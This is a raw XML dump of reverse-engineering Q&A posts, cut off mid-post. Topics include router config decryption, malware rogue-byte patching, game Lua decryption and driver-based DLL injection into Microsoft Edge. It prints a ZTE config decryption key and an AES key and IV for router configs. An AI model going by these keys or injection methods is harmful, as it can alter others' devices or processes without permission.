  <row Id="21826" PostTypeId="2" ParentId="21207" CreationDate="2019-08-02T14:45:21.923" Score="1" Body="&lt;p&gt;I wrote this script that takes in a binary and spews out the C source to a file. Just had to slightly modify ghidra's Ghidra/Features/Decompiler/ghidra_scripts/Decompile.java script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/h4sh5/ghidra-headless-decompile&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/h4sh5/ghidra-headless-decompile&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29210" LastActivityDate="2019-08-02T14:45:21.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21827" PostTypeId="1" AcceptedAnswerId="25250" CreationDate="2019-08-02T19:45:29.520" Score="2" ViewCount="1014" Body="&lt;p&gt;i have decrypted  the config file &lt;a href=&quot;https://www110.zippyshare.com/v/K4IYzLDk/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;using a program i found online&lt;/a&gt; ( maybe made by python to exe )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so to decrypt using it you type is command into CMD&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decode_zte_config.exe config.bin config.bin.xml --key &quot;GrWM2Hz&amp;amp;LTvz&amp;amp;f^5&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i encrypt the config file after editing it to upload it to the router and disable some unwanted settings .&lt;/p&gt;&#xA;" OwnerUserId="28935" LastActivityDate="2021-01-29T02:50:49.893" Title="how can i Encrypt a decrypted zte zxhn h108n V2.5 config file?" Tags="|decryption|encryption|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21828" PostTypeId="1" CreationDate="2019-08-03T02:01:30.063" Score="0" ViewCount="650" Body="&lt;p&gt;I'm currently working on an IDAPython script that aims to remove various rogue-byte from the malware that I'm reversing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a case where some portions of my code contain this type of anti-disassembly trick:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sKd7W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKd7W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is that without patching the rogue byte, I can't define this undefined blob as a proper function (P shortcut).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the script is basically doing this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the following opcode: &quot;&lt;em&gt;90 C3 FE&lt;/em&gt;&quot; (for &quot;&lt;em&gt;nop, retn, FE&lt;/em&gt;&quot;, FE is the rogue-byte).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Patch the &quot;FE&quot; byte and replace it by a NOP (&lt;em&gt;0x90&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Define the new NOP as code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As all the function having this rogue-bytes in it are undefined, I now need to define them as proper function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to go back to the address of the beginning of the undefined function. For instance, that's the result after executing my IDAPython script:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VyosA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VyosA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rogue-byte is indeed patch, but now I just need to find the address of &quot;&lt;em&gt;loc_410687&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get this address within my IDAPython script? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I specify that not all of the function that contains the rogue-byte start by those 3 xors, that's a coincidence. So I can't look for them in order to get the start of the function.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2019-08-03T02:01:30.063" Title="IDAPython - Find the start of an undefined code blob" Tags="|ida|malware|idapython|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21829" PostTypeId="2" ParentId="21052" CreationDate="2019-08-03T02:19:37.113" Score="3" Body="&lt;p&gt;I think you may face what's called a &lt;strong&gt;rogue-byte&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently scripting something to patch them (see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21828/idapython-find-the-start-of-an-undefined-code-blob&quot;&gt;IDAPython - Find the start of an undefined code blob&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me if it's the same type of code logic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, you indeed might want to replace the rogue-byte with a &lt;em&gt;NOP&lt;/em&gt;. &lt;strong&gt;You can't do it without patching the binary, because as you said, it's an anti-disassembly technique. It's here in order to mess with IDA Pro!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to patch it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the line containing the rogue-byte, then undefine it (shortcut: &quot;&lt;em&gt;U&lt;/em&gt;&quot;, or go to &quot;&lt;em&gt;Edit -&gt; Undefine&lt;/em&gt;&quot;)&lt;/li&gt;&#xA;&lt;li&gt;select the instruction (&quot;&lt;em&gt;db 0E8h&lt;/em&gt;&quot;) then go to &quot;&lt;em&gt;Edit -&gt; Patch program -&gt; Assemble&lt;/em&gt;&quot;. You can now replace your rogue-byte by a NOP, by typing &quot;&lt;em&gt;nop&lt;/em&gt;&quot;, then &quot;OK&quot;.&lt;/li&gt;&#xA;&lt;li&gt;You now need to define the NOP as code (so it can get interpreted as an instruction), by pressing the C shortcut, or by going to &quot;&lt;em&gt;Edit -&gt; Code&lt;/em&gt;&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Finally, you can define your function as a proper function, by reaching the start of it (&lt;em&gt;loc_XXXXX&lt;/em&gt; for instance) and pressing the P shortcut, or &quot;E&lt;em&gt;dit -&gt; Function -&gt; Create function&lt;/em&gt;&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want, I can share you the IDAPython script that I wrote, even if it's still not complete yet.&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2019-08-03T02:19:37.113" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21830" PostTypeId="2" ParentId="21618" CreationDate="2019-08-03T17:02:40.243" Score="1" Body="&lt;p&gt;I mailed &lt;a href=&quot;https://www.nirsoft.net/utils/router_password_recovery.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nirsoft RouterPassView&lt;/a&gt; tool creator for about a month and he figured the way to decrypt it after so many tries ... and it wasn't the way that you mentioned in the article at all but it was in one of the mentioned files &lt;code&gt;libcfmapi.so&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and finally when he figured it out he said&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;It's from the strings I found, but I had to put them in different&#xA;order: (look in the colored chars):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AZlxd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZlxd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;the order he used was for the key you take one character from all the first four strings then the second then third till the end of these stings after the equal mark and repeat and for the IV you did the same for the last four strings&#xA;so it results into this&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IV: F64D19C622D7C01176C3F02E0E941F31&lt;/p&gt;&#xA;&lt;p&gt;Key (AES128) : B5662E0C6DEC255FD25A159A6CB3E454&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28935" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-08-03T17:02:40.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21831" PostTypeId="1" CreationDate="2019-08-03T19:29:28.500" Score="2" ViewCount="2288" Body="&lt;p&gt;I'm truing to decrypt LUA scrpits from cocos2dx game (for wiki).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to files of game:&#xA;&lt;a href=&quot;https://cloud.mail.ru/public/5kmq/31LAqkdpU&quot; rel=&quot;nofollow noreferrer&quot;&gt;libhellolua.so&lt;/a&gt; (cocos2dx external library)&#xA;&lt;a href=&quot;https://cloud.mail.ru/public/2z1Z/2ajcLhJ8N&quot; rel=&quot;nofollow noreferrer&quot;&gt;example encrypted LUA-scripts&lt;/a&gt; (*.abc files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading a library in IDA Pro.&#xA;This library don't have mention &quot;xxtea&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i found function getEncyptedFileData:&#xA;&lt;a href=&quot;https://pastebin.com/p9Xupzj7&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin getEncyptedFileData&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is not in the original source code of Cocos2d-x.&#xA;I think this function is related to decryption (since this function is called nearby with the variable &quot;*.abc&quot;).&#xA;I can not understand the some lines in this function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: I think that this function CCFileUtils:getFileData.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v5 = (_BYTE *)(*(int (__fastcall **)(cocos2d::CCFileUtils *, const char *, const char *, unsigned int *))(*(_DWORD *)this + 16))(this, a2, &quot;rb&quot;, &amp;amp;v26);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2: This loop not readeable. The result of the first line is used in this loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do&#xA;  {&#xA;    v6[(signed int)v17 * (signed __int64)v11 % (unsigned __int64)v14] = *(_BYTE *)(v13 + v16) ^ v15[v17];&#xA;    ++v17;&#xA;    v16 = (v16 + 1) % v10;&#xA;  }&#xA;  while ( v17 &amp;lt; v14 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3: function getEncyptedFileData return result of this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v19 = (*(int (__cdecl **)(cocos2d::CCFileUtils *, _BYTE *))(*(_DWORD *)v21 + 24))(v21, v6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29217" LastEditorUserId="29217" LastEditDate="2019-08-06T09:23:58.167" LastActivityDate="2021-12-22T01:07:45.773" Title="Decrypting Lua Files from game" Tags="|ida|c++|decryption|game-hacking|lua|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21832" PostTypeId="1" AcceptedAnswerId="21837" CreationDate="2019-08-03T23:01:29.450" Score="4" ViewCount="945" Body="&lt;p&gt;&lt;strong&gt;First my setup:&lt;/strong&gt; &#xA;Linux Mint 64bit 4.15.0-20-generic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 the newest version from github &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/etc/sysctl.d/10-ptrace.conf = 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Executable:&lt;/strong&gt;&#xA;ELF 64-bit LSB executable, x86-64 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;read write and executable, i can run it with gdb or execute it from terminal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Name = crackme01&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What ive done as root:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i verified with&#xA; &lt;code&gt;ps -ef | grep gdb &#xA; ps -ef | grep ptrace&#xA;  ps -ef | grep r2&lt;/code&gt; that only my single r2 is trying to attach.&#xA;then: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1. r2 -d crackme01 &#xA;  2. doo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The error i am getting:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ptrace (PT_ATTACH): Operation not permitted&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found other questions from people with the same problem, but none of their solutions could solve my problem. I would really appreciate it, if someone could help me.&lt;/p&gt;&#xA;" OwnerUserId="29059" LastActivityDate="2019-08-04T17:26:58.577" Title="Radare2 ptrace can not attach" Tags="|binary-analysis|linux|radare2|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21833" PostTypeId="1" CreationDate="2019-08-04T04:39:02.943" Score="3" ViewCount="545" Body="&lt;p&gt;There are some images hidden somewhere in a PE I have, I can't figure out how to extract them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This PE is from around 1997 (I think it's 32 bit) and I believe it contains some 3D model renders from the game Shadow Warrior as .PICT files. Using PE Explorer, I was able to see the section headers: [![Headers][1]][1]&#xA;However, I see no way to actually unpack the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT3:&lt;/strong&gt; I am now almost certain that all the images are actually stored within this file: &lt;a href=&quot;https://www.dropbox.com/s/4rmr0e545a8vova/GW_SW.MPL?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/4rmr0e545a8vova/GW_SW.MPL?dl=0&lt;/a&gt;&#xA;It's a MPL file, which usually doesn't hold images, but looking at file sizes, it seems to be the only likely candidate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the program is supposed to extract and uncompress some audio and picture from inside this MPL, but I have no idea how to do that myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program only runs under old operating systems, so if there was a way to take the images out of memory as the program was uncompressing, I don't think I can do that here on my newer pc. However, I do have access to a few DLL files that I can extract from the START.EXE.&lt;/p&gt;&#xA;" OwnerUserId="29219" LastEditorUserId="29219" LastEditDate="2019-08-05T23:30:14.520" LastActivityDate="2023-05-17T08:15:26.860" Title="How can I retrieve image files embedded/compressed in a MPL file?" Tags="|pe|unpacking|executable|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21837" PostTypeId="2" ParentId="21832" CreationDate="2019-08-04T17:26:58.577" Score="4" Body="&lt;p&gt;This error message probably should be ignored. I found something on the radare2 &lt;a href=&quot;https://github.com/radare/radare2/issues/13404&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;These ptrace (PT_ATTACH): Operation not permitted messages seem to&#xA;  happen because of subsequent PT_ATTACH calls to the same pid, even&#xA;  though it is already attached. This should be fixed, but it probably&#xA;  shouldn't cause any major issues right now.&quot; ~thestr4ng3r&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my case i also did some mistake with radare2 (i forgot to analyse &lt;code&gt;aaa&lt;/code&gt;), thats the reason it &quot;didnt work&quot;. I ignored this message, proceeded and solved this beginner crackme. &lt;/p&gt;&#xA;" OwnerUserId="29059" LastActivityDate="2019-08-04T17:26:58.577" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21839" PostTypeId="2" ParentId="21833" CreationDate="2019-08-04T22:15:29.260" Score="1" Body="&lt;p&gt;you can't just unpack the data section. This is a binary file. You have to do it with a hex editor and then search for the structure of an image (.pict file). &lt;/p&gt;&#xA;" OwnerUserId="28060" LastActivityDate="2019-08-04T22:15:29.260" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21840" PostTypeId="1" AcceptedAnswerId="21841" CreationDate="2019-08-05T06:39:19.003" Score="5" ViewCount="1036" Body="&lt;p&gt;It seems like driver based injection using APC calls fails on MicrosoftEdge and it's related processes (&lt;code&gt;browser_broker.exe , MicrosoftEdgeCP.exe and MicrosoftEdge.exe&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking into the problem, it looks like this application is protected process and uses the &lt;code&gt;ProcessDynamicCodePolicy&lt;/code&gt; flag which prevents the driver from allocate new executable memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, shortly after trying to inject to those processes, they all fail due to the following reason (exception 0xC0000409, &lt;code&gt;STATUS_STACK_BUFFER_OVERRUN&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Description:&#xA;Faulting application name: MicrosoftEdgeCP.exe, version: 11.0.15063.674, time stamp: 0x59cdf479&#xA;Faulting module name: ntdll.dll, version: 10.0.15063.1324, time stamp: 0x28af0ac0&#xA;Exception code: 0xc0000409&#xA;Fault offset: 0x00000000000a9f80&#xA;Faulting process ID: 0x1580&#xA;Faulting application start time: 0x01d503e311af20b8&#xA;Faulting application path: C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe&#xA;Faulting module path: C:\Windows\SYSTEM32\ntdll.dll&#xA;Report ID: 112c6adc-0898-4441-90b6-f1a17b668af1&#xA;Faulting package full name: Microsoft.MicrosoftEdge_40.15063.674.0_neutral__8wekyb3d8bbwe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the above output hint that this is the problem I'm facing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to detect from the driver that this process is protected?&lt;/p&gt;&#xA;" OwnerUserId="19879" LastEditorUserId="245" LastEditDate="2019-08-05T09:56:20.397" LastActivityDate="2019-08-05T18:25:01.433" Title="Microsoft Edge and it's related processes may have turned protected in windows 10 1903" Tags="|windows|dll-injection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21841" PostTypeId="2" ParentId="21840" CreationDate="2019-08-05T09:15:29.087" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any way to detect from the driver that this process is protected ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This following procedure depends on undocmented data structure which is extracted from PDB symbol of &lt;code&gt;combase.dll&lt;/code&gt; file. As usual this may not work in future Windows OS version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the sample C code to detect protected process. The program accepts a valid process ID in its first argument. This code need to be linked with &lt;code&gt;ntdll.lib&lt;/code&gt; library. In user mode, this code may need to be run as administrator for some processes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {&#xA;    size_t Size;&#xA;    PROCESS_BASIC_INFORMATION BasicInfo;&#xA;    union {&#xA;        unsigned int Flags;&#xA;        struct {&#xA;            unsigned int IsProtectedProcess : 1;&#xA;            unsigned int IsWow64Process : 1;&#xA;            unsigned int IsProcessDeleting : 1;&#xA;            unsigned int IsCrossSessionCreate : 1;&#xA;            unsigned int IsFrozen : 1;&#xA;            unsigned int IsBackground : 1;&#xA;            unsigned int IsStronglyNamed : 1;&#xA;            unsigned int IsSecureProcess : 1;&#xA;            unsigned int IsSubsystemProcess : 1;&#xA;            unsigned int SpareBits : 23;&#xA;        };&#xA;    };&#xA;} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; /* size: 0x0040 */&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    if (argc &amp;lt; 2)&#xA;        return;&#xA;&#xA;    void *hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, atoi(argv[1]));&#xA;    if (hProcess != NULL)&#xA;    {&#xA;        unsigned int ret;&#xA;        PROCESS_EXTENDED_BASIC_INFORMATION pInfo;&#xA;        memset(&amp;amp;pInfo, 0, sizeof pInfo);&#xA;&#xA;        NTSTATUS Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &amp;amp;pInfo, sizeof pInfo, &amp;amp;ret);&#xA;        if (Status == 0)&#xA;            printf(&quot;Protected: %d\n&quot;, pInfo.IsProtectedProcess);&#xA;        CloseHandle(hProcess);&#xA;    }&#xA;    else&#xA;        printf(&quot;OpenProcess error: %d\n&quot;, GetLastError());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add or change process mitigation policy flags, programs use &lt;code&gt;SetProcessMitigationPolicy()&lt;/code&gt; function which uses &lt;code&gt;NtSetInformationProcess()&lt;/code&gt; function (retrieved from &lt;code&gt;KernelBase.dll&lt;/code&gt;). Here is a sample C code which enables dynamic code policy.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;&#xA;typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION {&#xA;    PROCESS_MITIGATION_POLICY Policy;&#xA;    union {&#xA;        PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy;&#xA;        PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy;&#xA;        PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy;&#xA;        PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy;&#xA;        PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy;&#xA;        PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy;&#xA;        PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy;&#xA;        PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy;&#xA;        PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy;&#xA;        PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy;&#xA;        PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy;&#xA;        PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy;&#xA;        PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy;&#xA;    };&#xA;} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION; /* size: 0x0008 */&#xA;&#xA;int main(void)&#xA;{&#xA;    PROCESS_MITIGATION_POLICY_INFORMATION PolicyInfo = { 0 };&#xA;    PolicyInfo.Policy = ProcessDynamicCodePolicy;&#xA;    PolicyInfo.DynamicCodePolicy.ProhibitDynamicCode = TRUE;&#xA;&#xA;    NTSTATUS Status = NtSetInformationProcess(&#xA;        GetCurrentProcess(),&#xA;        52, /* ProcessMitigationPolicy */&#xA;        &amp;amp;PolicyInfo,&#xA;        sizeof PolicyInfo);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Any one of the policy can be enabled with this method. Use &lt;code&gt;Zw&lt;/code&gt; alternatives of &lt;code&gt;Nt&lt;/code&gt; function to use in kernel mode. All of these undocumented structures can also be found in &lt;a href=&quot;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h&quot; rel=&quot;noreferrer&quot;&gt;ProcessHacker/phnt&lt;/a&gt; repository.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="23069" LastEditDate="2019-08-05T18:25:01.433" LastActivityDate="2019-08-05T18:25:01.433" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21844" PostTypeId="1" AcceptedAnswerId="21998" CreationDate="2019-08-05T12:56:14.923" Score="5" ViewCount="215" Body="&lt;p&gt;When I was reversing some well known Android chat applications (I can not disclose which specific ones, but all of them where owned by companies with 1 billion+ capital and have hundreds of millions of accounts), I saw an interesting feature in C++ code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These applications read uninitialized data and sent it to their web service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In pseudocode, they do the following job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static constexpr const size_t uninitialized_data_size = 1024;&#xA;auto uninitialized_data = malloc(uninitialized_data_size);&#xA;HttpPost(&quot;http://my-url.com&quot;, uninitialized_data, uninitialized_data_size);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, we can think that it is just a bug... But when multiple huge companies do the same thing, I'm starting to think: why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have idea what information uninitialized data can supply to security team? Is it just repeated error made by accident, or they extract some useful information from uninitialized data that they send to their server on regular basis?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="27930" LastEditDate="2019-08-05T15:45:28.177" LastActivityDate="2019-08-29T10:41:11.860" Title="What information may supply the uninitialized data to security team?" Tags="|c++|android|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21845" PostTypeId="2" ParentId="13689" CreationDate="2019-08-05T15:59:48.957" Score="0" Body="&lt;p&gt;You can also do &lt;code&gt;e dbg.bpinmaps=0&lt;/code&gt; so Radare2 allows you to set breakpoint without that restriction.&lt;/p&gt;&#xA;" OwnerUserId="29228" LastActivityDate="2019-08-05T15:59:48.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21846" PostTypeId="1" CreationDate="2019-08-05T20:04:33.197" Score="0" ViewCount="1622" Body="&lt;p&gt;I need some help in decrypting the file &lt;code&gt;config.bin&lt;/code&gt; generated by the page &lt;code&gt;backup_setting.html&lt;/code&gt; from Huawei B5328 router.&lt;/p&gt;&#xA;&lt;p&gt;I have access to all files in the router, even the www files hosted on the &lt;code&gt;www&lt;/code&gt; folder for the router. After analyzing the page &lt;code&gt;backup_setting.html&lt;/code&gt; and checking the JavaScript &lt;code&gt;.js&lt;/code&gt; files, I think someone who understands the JavaScript and some coding language will be able to encrypt and decrypt the config file easily.&lt;/p&gt;&#xA;&lt;p&gt;The reason why I'm asking is that I want to enable telnet for this router from the WebUI, and I think it can be done through JavaScript or config file restore or maybe CGI command.&lt;/p&gt;&#xA;&lt;p&gt;Here is the link for all files including &lt;code&gt;backup_setting.html&lt;/code&gt; and the whole&#xA;&lt;code&gt;www&lt;/code&gt; folder is posted [here][1], you can get the &lt;code&gt;.js&lt;/code&gt; files etc.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for helping.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;You were correct, analyzing the file  &lt;code&gt;maintenance.cgi&lt;/code&gt;  gets this :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             ELF, 32-bit MSB executable, ARM, version 1 (SYSV)&#xA;67144         0x10648         Unix path: /var/tmp/update_info&#xA;68293         0x10AC5         Unix path: /var/config/ucfg_config.xml&#xA;68975         0x10D6F         Unix path: /var/config/ucfg_config.xml&#xA;71140         0x115E4         XML document, version: &amp;quot;1.0&amp;quot;&#xA;71741         0x1183D         HTML document header&#xA;71804         0x1187C         HTML document header&#xA;78624         0x13320         XML document, version: &amp;quot;1.0&amp;quot;&#xA;81900         0x13FEC         PEM RSA private key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, assuming I have the decrypted config file, if I encrypt this file into  &lt;code&gt;config.bin&lt;/code&gt; file, I think it should work.&lt;/p&gt;&#xA;&lt;p&gt;Can someone help into decrypting or encrypting the file in the correct format? Thanks.&lt;/p&gt;&#xA;&lt;p&gt;Analyzing a piece of code of &lt;code&gt;maintenace.cgi&lt;/code&gt; gives the encrypt and decrypt cmd used :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; No Command [WebUpd]%s, recive file error case Parameters Abnormal.  [WebUpd]%s, Exit: %d  [WebUpd]----------------------------------------  main  write_file_form_encoded TR069_import  TR069_import  import_finish  file_check check_rsa_digest  [%02d-%02d-%02d %02d:%02d:%02d:%03ld]  ' &amp;gt;&amp;gt; /dev/console  echo '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             [pbi] Failed to create key BIO [pbi] Failed to create RSA open file error&#xA;  ----------------do decrypt file parse---------------&#xA;  ----------------do encrypt file ----------------&#xA;  %s ERROR: %s&#xA;  Public Encrypt failed  Encrypted length =%d&#xA;  Private Decrypt failed  Decrypted Text =%s&#xA; Decrypted Length =%d&#xA;  Hello this is PBI RSA test                                                                                                                   [bpi] caculate_sha_digest&#xA; %02x  [bpi] get_sha_digest_in_image 